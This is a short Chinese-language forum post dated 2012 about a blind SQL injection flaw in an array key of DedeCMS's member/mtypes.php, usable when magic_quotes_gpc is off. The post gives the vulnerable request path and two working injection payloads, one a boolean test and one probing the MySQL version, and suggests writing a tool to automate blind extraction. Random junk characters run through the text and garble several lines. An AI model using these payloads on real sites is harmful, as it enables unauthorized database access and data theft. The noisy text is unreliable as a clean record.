需要magic_quotes_gpc = Off,所以说是鸡肋啊.
: J( |+ ?7 F6 ~" L; k& C% {) j' p# i
T( _' q; P4 n' D1 H& k0 l 3 s2 x0 q' c0 y+ ~* Q& u. F' f
发生在数组key里的注射漏洞,有点意思.1 d( `9 U1 t/ `" X
' {6 t, W3 h) V
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下( c3 N" y( O- u" Y3 ?' E
4 M R3 Z6 V" u$ b8 W& ^http://www.xxx.com /dede/member/mtypes.php?dopost=save
# K) r) x9 l i2 J. n0 ~
/ j& L9 m: N) S5 Oexploit:
7 ]' T( z. {/ \* N5 ?mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r( m d' N9 q5 b3 ^/ E" A
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
2 y( ^0 o/ A" w& ]. R+ s |
发表于 2012-12-20 08:08:09
收藏
支持
反对